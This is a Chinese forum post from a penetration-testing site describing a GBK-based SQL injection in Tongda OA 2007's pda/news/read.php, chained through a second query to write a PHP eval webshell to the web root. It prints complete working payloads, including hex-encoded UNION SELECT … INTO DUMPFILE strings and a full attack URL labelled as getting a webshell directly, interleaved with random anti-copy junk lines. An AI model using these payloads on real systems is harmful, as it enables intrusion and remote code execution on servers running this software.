中国网络渗透测试联盟
标题:
通达OA2007版本漏洞及getshell
[打印本页]
作者:
admin
时间:
2012-12-20 08:09
标题:
通达OA2007版本漏洞及getshell
目前测试通达OA2007版本
, q/ [/ m. \ F6 l n/ z
7 `( w: N( S" n2 M+ o$ D
' x+ S0 J# n& V0 N& P, q
Office Anywhere 2007 网络智能办公系统
9 t- s" s) a" J `
! \6 G( ~8 @" {# G6 U
http://127.0.0.1/pda/news/read.php?P=%cf'
猪点。 暴web目录..
0 P4 Q# N8 f) O4 i: n4 k2 @
% g8 R w" e, T
2 O' n x/ r3 l6 c$ s9 E5 z
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
4 O0 P" d" r8 f' M/ W b
$ v0 \ y# D. {& |
例如：SELECT * from USER where USER_ID='{$USERNAME}'
+ i7 G0 T& e5 y- S( M
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
7 \: q6 ?- j, W6 k2 z) M
- l* L' P% c+ n3 G3 }% O
这个时候我们是不是可以组合起来使用哪？
* Y. V" ^ W9 E# l" F4 E
# K+ T- z/ W, a) R" W, x# ?
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
6 d' V. _0 M/ M0 }/ N2 T9 Q
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
" Y, X% i/ C% s! D( V# M* A8 H
* h% s' k- C; A2 f
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
! K5 N8 D7 w/ {8 X% W6 R5 f
; K- L# R6 h+ n
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
" i: }; Q) J7 ^; q: q& C# J% [
) L$ t) p" k+ e! _
那么我们用字符串格式带入进行hex编码
- ^7 S$ ~# l$ {
$ {; z6 p+ f' l$ D! Q
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
+ F/ D7 {/ P1 n+ _/ w/ R/ f2 E
- r7 w' n: V& Y
测试ok，获取oa的webshell
. c: B+ A$ o4 u: b
' [" E/ Z% {! q4 [8 ]) n
: \; @1 |) `0 E& H/ k9 B! k/ @* d
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
~+ O9 E7 q) G) Z
直接getwebshell
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2